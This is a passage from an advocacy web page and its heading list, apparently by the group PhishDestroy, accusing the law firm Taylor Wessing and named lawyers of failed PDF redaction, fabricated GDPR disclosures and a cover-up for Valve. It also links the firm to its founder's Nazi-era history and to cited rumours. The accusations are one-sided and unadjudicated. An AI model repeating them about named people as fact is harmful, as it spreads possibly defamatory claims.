same assurances of manual review given? What happened after the problem was reported?\n\nSelection. Compare the language concealed with the language left visible.\nApproval. Trace the review, the sign-off and the instructions behind them.\nResponse. Establish what changed after notification, and in which other matters.\n\nWe are not asking a German authority to import a binding common-law precedent. We are asking it to compare documented conduct. A comparable case can expose the same self-assurance and passive aggression and identify questions that require answers. The demand is an examination of the evidence and the process.\n\nRequested scrutiny / three institutional routes\nData protection supervision: completeness and timing of access responses, security of the supplied documents, the handling of notifications and the scope of the affected processing.\nProfessional oversight: the conduct of the lawyers, the assertions in their signed correspondence and the supervision of document preparation.\nProsecutorial review: examination of the original evidence wherever it gives the competent prosecutor grounds to investigate.\n\nIf German prosecutors, the bar or the relevant supervisory authorities see no reason to examine the wider process, we will put the systemic question before the European Data Protection Board and the European Commission. Our academic work is not an exit from this case. It is the next stage. We are preparing two papers. Once that work is complete, we will pursue the questions they document through the appropriate institutional channels. We will not abandon this matter.\n\nA direct question for the firm's insurer.\n\nThe Valve matter warrants examination by Taylor Wessing's professional indemnity insurer. Our position is that the record cannot be reduced to an unknown, isolated mishap. The delivery method, our notifications, the reply and the dated accesses from the client's network belong in that examination. The access records and their preservation limits are set out in Exhibit PD-VALVE-2026/01.\n\nNo break-in was needed to reach the text under the rectangles. The sender supplied the text inside the document. We describe that mechanism as professional negligence: an exposure created during the preparation and delivery of the file itself. The insurer should examine when the risk became known, what was done about it and whether other matters used the same process.\n\nGermany's data-protection history makes the question sharper.\n\nGermany's experience of surveillance under the Gestapo and the Stasi is part of the historical background to its insistence on privacy and limits on institutional power. Hesse adopted the world's first data-protection law in 1970. That history should make an individual's right to obtain their data a serious obligation, not an obstacle to be exhausted through correspondence. Hessian data protection authority · history ↗ · Data protection authority of Baden-Württemberg · historical context ↗\n\nWe once imagined the distinction to be straightforward: lawyers might defend people whose conduct was objectionable while still respecting the limits of their own profession. Here we have doctoral titles, substantial commercial interests, a public history with conspicuous omissions, and documents that require far more scrutiny than their letterheads invite. A title does not close that inquiry.\n\nTo readers, rights advocates and other recipients.\n\nDo not let the status of a corporation or its counsel intimidate you out of exercising your lawful rights. If you believe this record merits attention, you can bring it to organisations and authorities you consider appropriate. You may discuss, translate and reuse our work under the project's published licence and terms. We are asking for scrutiny of documented professional conduct and institutional practices.\n\nSteam users who have experienced account or item theft may have a particular interest in what their access response contains. In the case documented here, a support exchange did not produce the complete disclosure sought, and the supplied material leaves substantial questions about missing data. If you received a complete, useful response from Valve, we also want to hear about it. A wider record needs those experiences too.\n\nIf you received a redacted PDF from Taylor Wessing, examine whether the black areas actually remove the underlying text. Our open-source PDF redaction toolkit supports local inspection. The Medium articles also describe basic checks using LibreOffice or selecting and copying text into a plain-text editor. Preserve the original file. An opaque rectangle alone does not establish that the concealed data has been removed.\n\nShare your experience / PhishDestroy\n\nTell us what you requested, when you requested it and what response you received.\n\nTelegram bot ↗complains@phishdestroy.io ↗PDF inspection toolkit ↗\nTo the authorities: examine the neighbouring matters.\n\nWe would prefer not to circulate documents containing other people's information. Publicly, we publish selected screenshots. The complete, unedited originals are reserved for the authorities through a protected channel. They contain personal data and material extending beyond this particular case.\n\nWe are not asking an authority merely to repeat our examination of one account. We ask it to investigate what we cannot inspect: neighbouring requests, earlier exports, internal instructions, quality-control records and decisions after notice. Doc. No. 42603633 and Doc. No. 42282474 identify the starting point. They do not define the outer limit of the questions.\n\nThe Medium series: our earlier, informal reporting.\n\nThe four articles below use sarcasm and an informal voice in response to the correspondence. They do not contain the full account assembled in this dossier. They remain part of the publication record; the academic work develops the methods and evidence further.\n\n01My Dog vs. Elite GDPR LawyersThe Valve Data Breach Nobody Is Talking About\n02My Dog vs. Elite Lawyers — Part 2The 5-Year PDF Vulnerability Exposing Global Corporations\n03My Dog vs. Elite Lawyers — Part 3Valve, GDPR and the Cover-Up\n04My Dog vs. Elite Lawyers — Part 4Dr. Patrick, Your Own Document Just Destroyed Your Client\n\nA right that survives only until a corporation hires a lawyer is not being enforced. That is the question we intend to keep before the public and the institutions responsible for answering it.\n\nEPILOGUE. THE RECORD WILL REMAIN AVAILABLE.\n\nTaylor Wessing must answer the record.\n\nPublic case materials are limited to screenshots. On October 14, the complete package — including the original letters, raw uncensored logs and supporting documents — is being handed directly to the regulators, without editing. The originals contain personal data and evidence extending beyond this case, and are therefore not attached to the public page. The dossier and its copy on IPFS preserve the public account of the findings despite attempts to remove it from search.\n\nEvery correction proposed through our Wikipedia initiative must remain linked to the record that supports it.\n\nPhishDestroy knows how to wait\n\nOur preservation horizon extends beyond a firm's correspondence strategy. Archival funding models already use a 200-year storage horizon: Arweave's protocol documentation describes upfront funding for replicated storage on that timescale. Arweave protocol overview — storage endowment\n\nRemoval from search changes discoverability; it does not change what the documents contain. We will continue to contest the use of personal-data protections to suppress examination of signed professional work performed for a corporate client.\n\nThe authors, dates, signatures and contents remain part of the record. We will preserve them, submit them and continue to demand answers.\n\nSOURCES\n\nThe Nazi Past of the Founder (Archives and Reliable Sources):\n\nRüdiger Graf von der Goltz (lawyer) — Wikipedia EN\nRüdiger von der Goltz (Jurist) — Wikipedia DE\nTaylor Wessing — Geschichte — Wikipedia DE\nReichstags-Handbuch 1938, Bavarian State Library, biographical entry for Rüdiger Graf von der Goltz. Printed page 223 · digital scan 224\nView the document in this dossier ↓\nLilla, Doring, Schulz, \"Statisten in Uniform: Die Mitglieder des Reichstags 1933–1945\", Droste, ISBN 3-7700-5254-4\nBlomberg–Fritsch affair — Wikipedia\nBlomberg-Fritsch-Krise — Wikipedia DE\n\nScandals and PR:\n\nDisciplinary decision of the SDT on Daniel Hutchings (£30,000 fine; covered by Law.com International and Legal Cheek), incident at the Mahiki club, London.\nSDT · Judgment 12393-2022 (PDF)\nRollOnFriday — rumors about a \"Head of Department\" at Taylor Wessing and a trainee.\nRollOnFriday · 16 October 2014 Legal Cheek · 15 October 2014\nOfficial LGBT publications of Taylor Wessing: Stonewall Top 100, myGwork, IDAHOBIT (taylorwessing.com).\nTaylor Wessing · Stonewall Top 100 myGwork interview · Attitude Taylor Wessing · LGBT+ impact report\nNotice on the Taylor Wessing website regarding the exit of the UK, Dubai, Netherlands, Ireland, and Belgium offices from the Taylor Wessing Verein (Winston Taylor brand from June 1, 2026); Taylor Wessing — Wikipedia EN.\nTaylor Wessing · official 2026 timeline\n\nCase Materials (Full versions — with regulators):\n\nLetter from Dr. Schelinski, Taylor Wessing, 15.08.2025, Doc. No. 42282474.\nScreenshot location · E01\nLetter from Dr. Zurheide, Taylor Wessing, 01.10.2025, Doc. No. 42603633, Anlagen 1–2.\nScreenshot locations · E02 / E04 / E09\nExhibit B: Quantitative Forensic Audit of GDPR Disclosure Data, AR-2025-BAN-FORENSICS (Shannon entropy 3.48 vs 2.14; Jaccard index 1.000; chronological paradox; \"pidor\", page 444).\nScreenshot location · Exhibit B\nExhibit PD-VALVE-2026/01: access logs from Valve Corporation gateways (AS32590) — 21.10.2025, 16–17.02.2026, 31.08.2026; SHA-256 checksums attached.\nFull exhibit · records, method and SHA-256 ↗\n\nAdditional historical documents and the firm split:\n\nHamburgischer Correspondent, Nr. 551, 25.11.1933: „15 Mitglieder der Strafrechtskommission“.\nOpen source ↗PDF · front page ↗\nRegge / Schubert (1988), Protokolle der Strafrechtskommission des Reichsjustizministeriums, Teil 1, S. XVI–XVII, XXVII. ISBN 3-11-011694-4.\nOpen source ↗\nGesetz über die Akademie für Deutsches Recht, 11.07.1934; RGBl. I, Nr. 78, S. 605 (§2).\nOpen source ↗\nGesetz zur Änderung des Strafgesetzbuchs, 28.06.1935; RGBl. I, Nr. 70, S. 839–843, insbesondere Artikel 1 und 6.\nOpen source ↗\nUnited States Holocaust Memorial Museum: Gay Men under the Nazi Regime; Paragraph 175 and the Nazi Campaign against Homosexuality.\nOpen source ↗§175 · USHMM ↗\nHans Frank / Rüdiger Graf von der Goltz: Nationalsozialistischer Ehrenschutz. Wien: Deutscher Rechts-Verlag, 1938. CiNii Books, BB17180010.\nOpen source ↗\nWinston Taylor International LLP, letter of 2 June 2026, filed with the SEC as Exhibit 5.1: merger effective 1 June 2026.\nOpen source ↗\nBundesarchiv: Digitalisierte Bestände — R 61, Akademie für Deutsches Recht.\nOpen source ↗\nThe Steam Dossier / Taylor WessingAgent protocol ↗\nCompiled under the pseudonym\nAgent Ellis\nPhishDestroy\n\nIndependent digital forensics research group",
        "headings": [
          {
            "level": 1,
            "text": "Read this first.",
            "anchor": "pd-taylor_wessing--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#reader-entry"
          },
          {
            "level": 2,
            "text": "⚖️ FORENSIC & HISTORICAL DISCLAIMER: READ BEFORE PROCEEDING",
            "anchor": "pd-taylor_wessing--disclaimer-title",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#disclaimer-title"
          },
          {
            "level": 3,
            "text": "Content warning: explicit and discriminatory language",
            "anchor": "pd-taylor_wessing--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#tw-content-warning"
          },
          {
            "level": 3,
            "text": "1. Empirical Data vs. Legal Verdicts",
            "anchor": "pd-taylor_wessing--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#disclaimer"
          },
          {
            "level": 3,
            "text": "2. The Historical Record and the \"English Illusion\"",
            "anchor": "pd-taylor_wessing--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#disclaimer"
          },
          {
            "level": 3,
            "text": "3. Academic Escalation",
            "anchor": "pd-taylor_wessing--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#disclaimer"
          },
          {
            "level": 1,
            "text": "RAINBOW. REICHSTAG. BATON.",
            "anchor": "pd-taylor_wessing--taylor-wessing-title",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#taylor-wessing-title"
          },
          {
            "level": 2,
            "text": "OUR SCOPE. TWO ORGANIZATIONS. NO CAMPAIGN FOR AN UNBAN.",
            "anchor": "pd-taylor_wessing--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#research-scope"
          },
          {
            "level": 3,
            "text": "Source 1's ban is not our objective",
            "anchor": "pd-taylor_wessing--heading-9",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#research-scope"
          },
          {
            "level": 3,
            "text": "Why the lawyers' letters matter to the Valve investigation",
            "anchor": "pd-taylor_wessing--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#research-scope"
          },
          {
            "level": 3,
            "text": "Professional conduct, not private lives",
            "anchor": "pd-taylor_wessing--heading-11",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#research-scope"
          },
          {
            "level": 2,
            "text": "Read the documents.",
            "anchor": "pd-taylor_wessing--document-desk-title",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#document-desk-title"
          },
          {
            "level": 3,
            "text": "The biographical record",
            "anchor": "pd-taylor_wessing--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#desk-handbook"
          },
          {
            "level": 3,
            "text": "The contemporary record",
            "anchor": "pd-taylor_wessing--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#desk-press"
          },
          {
            "level": 3,
            "text": "The findings on the page",
            "anchor": "pd-taylor_wessing--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#desk-findings"
          },
          {
            "level": 3,
            "text": "The final order",
            "anchor": "pd-taylor_wessing--heading-16",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#desk-order"
          },
          {
            "level": 2,
            "text": "PART I. PRESSURE, FABRICATION, DISCLOSURE",
            "anchor": "pd-taylor_wessing--heading-17",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#violence"
          },
          {
            "level": 3,
            "text": "A data-access request answered with accusations",
            "anchor": "pd-taylor_wessing--legal-violence-as-a-service",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#legal-violence-as-a-service"
          },
          {
            "level": 3,
            "text": "The disclosed sample: the basis of our fabrication finding",
            "anchor": "pd-taylor_wessing--violence-against-facts-fabrication",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#violence-against-facts-fabrication"
          },
          {
            "level": 3,
            "text": "Failed redaction, notice and suppression of publication",
            "anchor": "pd-taylor_wessing--violence-against-the-law-leak-amusing-censorship",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#violence-against-the-law-leak-amusing-censorship"
          },
          {
            "level": 3,
            "text": "The same rows. The text underneath.",
            "anchor": "pd-taylor_wessing--heading-21",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#evidence-redaction"
          },
          {
            "level": 3,
            "text": "Four access events. Ten months.",
            "anchor": "pd-taylor_wessing--heading-22",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#evidence-access-logs"
          },
          {
            "level": 4,
            "text": "1. SUMMARY OF THE FINDING",
            "anchor": "pd-taylor_wessing--heading-23",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#access-exhibit-full"
          },
          {
            "level": 4,
            "text": "2. THE RECORDS",
            "anchor": "pd-taylor_wessing--heading-24",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#access-exhibit-full"
          },
          {
            "level": 4,
            "text": "3. ATTRIBUTION OF THE HOSTS",
            "anchor": "pd-taylor_wessing--heading-25",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#access-exhibit-full"
          },
          {
            "level": 4,
            "text": "4. METHOD",
            "anchor": "pd-taylor_wessing--heading-26",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#access-exhibit-full"
          },
          {
            "level": 4,
            "text": "5. CHRONOLOGY",
            "anchor": "pd-taylor_wessing--heading-27",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#access-exhibit-full"
          },
          {
            "level": 4,
            "text": "6. WHY THIS IS PLACED BEFORE THE AUTHORITY",
            "anchor": "pd-taylor_wessing--heading-28",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#access-exhibit-full"
          },
          {
            "level": 4,
            "text": "7. PRESERVATION AND LIMITATIONS",
            "anchor": "pd-taylor_wessing--heading-29",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#access-exhibit-full"
          },
          {
            "level": 4,
            "text": "8. INTEGRITY OF THE PRESERVED FILES",
            "anchor": "pd-taylor_wessing--heading-30",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#access-exhibit-full"
          },
          {
            "level": 2,
            "text": "PART II. HYPOCRISY: A RAINBOW OVER \"PIDOR\"",
            "anchor": "pd-taylor_wessing--heading-31",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#hypocrisy"
          },
          {
            "level": 3,
            "text": "What the first row says.",
            "anchor": "pd-taylor_wessing--slur-translation-title",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#slur-translation-title"
          },
          {
            "level": 3,
            "text": "This is disrespect for the law.",
            "anchor": "pd-taylor_wessing--respect-for-law-title",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#respect-for-law-title"
          },
          {
            "level": 2,
            "text": "PART III. NAZISM AT THE FOUNDATION OF THE FIRM",
            "anchor": "pd-taylor_wessing--heading-34",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#foundation"
          },
          {
            "level": 3,
            "text": "The name. The record.",
            "anchor": "pd-taylor_wessing--archive-title",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#archive-title"
          },
          {
            "level": 3,
            "text": "Six documents. The full folder.",
            "anchor": "pd-taylor_wessing--zbw-title",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#zbw-title"
          },
          {
            "level": 3,
            "text": "The appointment. The mandate. The printed law.",
            "anchor": "pd-taylor_wessing--further-history-title",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#further-history-title"
          },
          {
            "level": 4,
            "text": "A named representative of the party.",
            "anchor": "pd-taylor_wessing--heading-38",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#further-historical-record"
          },
          {
            "level": 3,
            "text": "Four pages from the record.",
            "anchor": "pd-taylor_wessing--history-gallery-title",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#history-gallery-title"
          },
          {
            "level": 4,
            "text": "Von der Goltz joins the commission.",
            "anchor": "pd-taylor_wessing--heading-40",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#history-h01"
          },
          {
            "level": 4,
            "text": "The Academy's statutory mission.",
            "anchor": "pd-taylor_wessing--heading-41",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#history-h02"
          },
          {
            "level": 4,
            "text": "Punishment beyond an express prohibition.",
            "anchor": "pd-taylor_wessing--heading-42",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#history-h03"
          },
          {
            "level": 4,
            "text": "The text used to persecute men.",
            "anchor": "pd-taylor_wessing--heading-43",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#history-h04"
          },
          {
            "level": 4,
            "text": "The law reached into people's lives.",
            "anchor": "pd-taylor_wessing--historical-impact-title",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#historical-impact-title"
          },
          {
            "level": 3,
            "text": "A call to the Wikipedia community",
            "anchor": "pd-taylor_wessing--wikipedia-initiative-title",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#wikipedia-initiative-title"
          },
          {
            "level": 2,
            "text": "CHAPTER. ROW NO. 1",
            "anchor": "pd-taylor_wessing--heading-46",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#row-one"
          },
          {
            "level": 3,
            "text": "Pidor Comes First",
            "anchor": "pd-taylor_wessing--pidor-comes-first",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#pidor-comes-first"
          },
          {
            "level": 3,
            "text": "What Their Founder Created: The Law of Pink Triangles",
            "anchor": "pd-taylor_wessing--what-their-founder-created-the-law-of-pink-triangles",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#what-their-founder-created-the-law-of-pink-triangles"
          },
          {
            "level": 3,
            "text": "The Erased Russian Trace",
            "anchor": "pd-taylor_wessing--the-erased-russian-trace",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#the-erased-russian-trace"
          },
          {
            "level": 3,
            "text": "Most of the hidden reports were not in English.",
            "anchor": "pd-taylor_wessing--report-language-title",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#report-language-title"
          },
          {
            "level": 2,
            "text": "CHAPTER. PROFESSIONAL CONDUCT AND INSTITUTIONAL CONTROL",
            "anchor": "pd-taylor_wessing--heading-51",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#not-isolated"
          },
          {
            "level": 3,
            "text": "The Tribunal, the Mahiki Club, and £30,000",
            "anchor": "pd-taylor_wessing--the-tribunal-the-mahiki-club-and-30-000",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#the-tribunal-the-mahiki-club-and-30-000"
          },
          {
            "level": 3,
            "text": "The use of professional authority against a data requester",
            "anchor": "pd-taylor_wessing--passive-aggression-for-money-is-corporate-terror",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#passive-aggression-for-money-is-corporate-terror"
          },
          {
            "level": 3,
            "text": "Our assessment: the operating model is unsafe",
            "anchor": "pd-taylor_wessing--we-are-certain-this-model-is-unsafe",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#we-are-certain-this-model-is-unsafe"
          },
          {
            "level": 2,
            "text": "THE LINK: ONE PATTERN, 90 YEARS",
            "anchor": "pd-taylor_wessing--heading-55",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#the-link"
          },
          {
            "level": 2,
            "text": "CHAPTER. PROFESSIONAL AUTHORITY IS SUBJECT TO REVIEW",
            "anchor": "pd-taylor_wessing--heading-56",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#the-law"
          },
          {
            "level": 3,
            "text": "The evidential basis for the forgery finding",
            "anchor": "pd-taylor_wessing--mathematics-gives-us-the-right-to-call-a-forgery-a-forgery",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#mathematics-gives-us-the-right-to-call-a-forgery-a-forgery"
          },
          {
            "level": 3,
            "text": "Notice makes the failure an institutional responsibility",
            "anchor": "pd-taylor_wessing--company-inaction-is-company-approval",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#company-inaction-is-company-approval"
          },
          {
            "level": 3,
            "text": "A common brand requires accountable supervision",
            "anchor": "pd-taylor_wessing--a-franchise-with-an-expensive-name",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#a-franchise-with-an-expensive-name"
          },
          {
            "level": 3,
            "text": "When a paid representative speaks for the court",
            "anchor": "pd-taylor_wessing--heading-60",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#corporate-power-record"
          },
          {
            "level": 3,
            "text": "The competent authorities have the final determination",
            "anchor": "pd-taylor_wessing--there-is-someone-else-above-the-law",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#there-is-someone-else-above-the-law"
          },
          {
            "level": 2,
            "text": "PROFESSIONAL RESPONSIBILITY DOES NOT END AT THE SIGNATURE",
            "anchor": "pd-taylor_wessing--heading-62",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#professional-responsibility"
          },
          {
            "level": 3,
            "text": "Their own professional record",
            "anchor": "pd-taylor_wessing--heading-63",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#professional-responsibility"
          },
          {
            "level": 3,
            "text": "01 / Duty of care — Sorgfaltspflicht",
            "anchor": "pd-taylor_wessing--heading-64",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#professional-responsibility"
          },
          {
            "level": 3,
            "text": "02 / Security of processing — Article 32 GDPR",
            "anchor": "pd-taylor_wessing--heading-65",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#professional-responsibility"
          },
          {
            "level": 3,
            "text": "03 / The claimed review and the QA failure",
            "anchor": "pd-taylor_wessing--heading-66",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#professional-responsibility"
          },
          {
            "level": 3,
            "text": "04 / Notice, silence and the cover-up allegation",
            "anchor": "pd-taylor_wessing--heading-67",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#professional-responsibility"
          },
          {
            "level": 3,
            "text": "The missing records extend beyond a consumer account",
            "anchor": "pd-taylor_wessing--heading-68",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#professional-responsibility"
          },
          {
            "level": 2,
            "text": "FROM A PDF FAILURE TO A WIDER CORPORATE RISK",
            "anchor": "pd-taylor_wessing--heading-69",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#processing-risk"
          },
          {
            "level": 3,
            "text": "A 2020 document engine in a 2026 investigation",
            "anchor": "pd-taylor_wessing--heading-70",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#processing-risk"
          },
          {
            "level": 3,
            "text": "What the scenario illustrates",
            "anchor": "pd-taylor_wessing--heading-71",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#processing-risk"
          },
          {
            "level": 3,
            "text": "Three different risk paths",
            "anchor": "pd-taylor_wessing--heading-72",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#processing-risk"
          },
          {
            "level": 3,
            "text": "From input to foothold.",
            "anchor": "pd-taylor_wessing--risk-model-heading",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#risk-model-heading"
          },
          {
            "level": 3,
            "text": "The historical CVEs and their exact scope",
            "anchor": "pd-taylor_wessing--heading-74",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#processing-risk"
          },
          {
            "level": 3,
            "text": "A foothold is the beginning of the intrusion",
            "anchor": "pd-taylor_wessing--intrusion-foothold",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#intrusion-foothold"
          },
          {
            "level": 3,
            "text": "Why notice cannot be treated as a one-client problem",
            "anchor": "pd-taylor_wessing--wider-process-review",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#wider-process-review"
          },
          {
            "level": 2,
            "text": "OUR POSITION. A RIGHT IS NOT A CORPORATE FAVOUR.",
            "anchor": "pd-taylor_wessing--heading-77",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#public-position"
          },
          {
            "level": 3,
            "text": "We did not enter this as a party. We will not walk away as observers.",
            "anchor": "pd-taylor_wessing--heading-78",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#public-position"
          },
          {
            "level": 3,
            "text": "Three branches. Separate responsibility.",
            "anchor": "pd-taylor_wessing--heading-79",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#public-position"
          },
          {
            "level": 3,
            "text": "What, exactly, is being taught?",
            "anchor": "pd-taylor_wessing--heading-80",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#public-position"
          },
          {
            "level": 3,
            "text": "The scope of the review must extend beyond this file.",
            "anchor": "pd-taylor_wessing--heading-81",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#public-position"
          },
          {
            "level": 3,
            "text": "If the same words appear in other files, examine the process.",
            "anchor": "pd-taylor_wessing--neighbouring-case-review-title",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#neighbouring-case-review-title"
          },
          {
            "level": 3,
            "text": "A direct question for the firm's insurer.",
            "anchor": "pd-taylor_wessing--heading-83",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#public-position"
          },
          {
            "level": 3,
            "text": "Germany's data-protection history makes the question sharper.",
            "anchor": "pd-taylor_wessing--heading-84",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#public-position"
          },
          {
            "level": 3,
            "text": "To readers, rights advocates and other recipients.",
            "anchor": "pd-taylor_wessing--heading-85",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#public-position"
          },
          {
            "level": 3,
            "text": "To the authorities: examine the neighbouring matters.",
            "anchor": "pd-taylor_wessing--heading-86",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#public-position"
          },
          {
            "level": 3,
            "text": "The Medium series: our earlier, informal reporting.",
            "anchor": "pd-taylor_wessing--heading-87",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#public-position"
          },
          {
            "level": 2,
            "text": "EPILOGUE. THE RECORD WILL REMAIN AVAILABLE.",
            "anchor": "pd-taylor_wessing--heading-88",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#epilogue"
          },
          {
            "level": 3,
            "text": "PhishDestroy knows how to wait",
            "anchor": "pd-taylor_wessing--heading-89",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#preservation-horizon"
          },
          {
            "level": 2,
            "text": "SOURCES",
            "anchor": "pd-taylor_wessing--heading-90",
            "source_url": "https://phishdestroy.io/steam_dossier/taylor_wessing#sources"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing"
          },
          {
            "label": "Return to the investigation",
            "url": "https://phishdestroy.io/steam_dossier/"
          },
          {
            "label": "Official announcement ↗",
            "url": "https://www.taylorwessing.com/en/timeline"
          },
          {
            "label": "SEC filing · 2 June 2026 ↗",
            "url": "https://www.sec.gov/Archives/edgar/data/2027360/000149315226026876/ex5-1.htm"
          },
          {
            "label": "Agent protocol ↗",
            "url": "https://phishdestroy.io/steam_dossier/license_disclaimer#agent-protocol"
          },
          {
            "label": "When a paid representative speaks for the court",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing#corporate-power-record"
          },
          {
            "label": "Official profile: Dr. Tobias Schelinski",
            "url": "https://www.taylorwessing.com/en/people/germany/hamburg/dr-tobias-schelinski"
          },
          {
            "label": "Official profile: Dr. Patrick Vincent Zurheide",
            "url": "https://www.taylorwessing.com/en/people/germany/hamburg/patrick-vincent-zurheide"
          },
          {
            "label": "Inspect document",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/goltz-biography.webp"
          },
          {
            "label": "Open the original source ↗",
            "url": "https://www.digitale-sammlungen.de/en/view/bsb00000146?page=224"
          },
          {
            "label": "Inspect document",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/goltz-press-1934.webp"
          },
          {
            "label": "Open the original source ↗",
            "url": "https://pm20.zbw.eu/folder/pe/006310/00001"
          },
          {
            "label": "Inspect document",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/sdt-findings.webp"
          },
          {
            "label": "Open the original source ↗",
            "url": "https://solicitorstribunal.org.uk/wp-content/uploads/2023/10/12393-2022.Hutchings-1_0.pdf#page=2"
          },
          {
            "label": "Inspect document",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/sdt-order.webp"
          },
          {
            "label": "Open the original source ↗",
            "url": "https://solicitorstribunal.org.uk/wp-content/uploads/2023/10/12393-2022.Hutchings-1_0.pdf#page=19"
          },
          {
            "label": "Enlarge screenshot",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/case-schelinski-letter.png"
          },
          {
            "label": "Enlarge screenshot",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/case-zurheide-letter.png"
          },
          {
            "label": "Enlarge screenshot",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/case-pdf-text.png"
          },
          {
            "label": "",
            "url": "https://phishdestroy.io/steam_dossier/taylor_wessing_assets/case-comparison-before.png"
          },
          {
            "label": "",
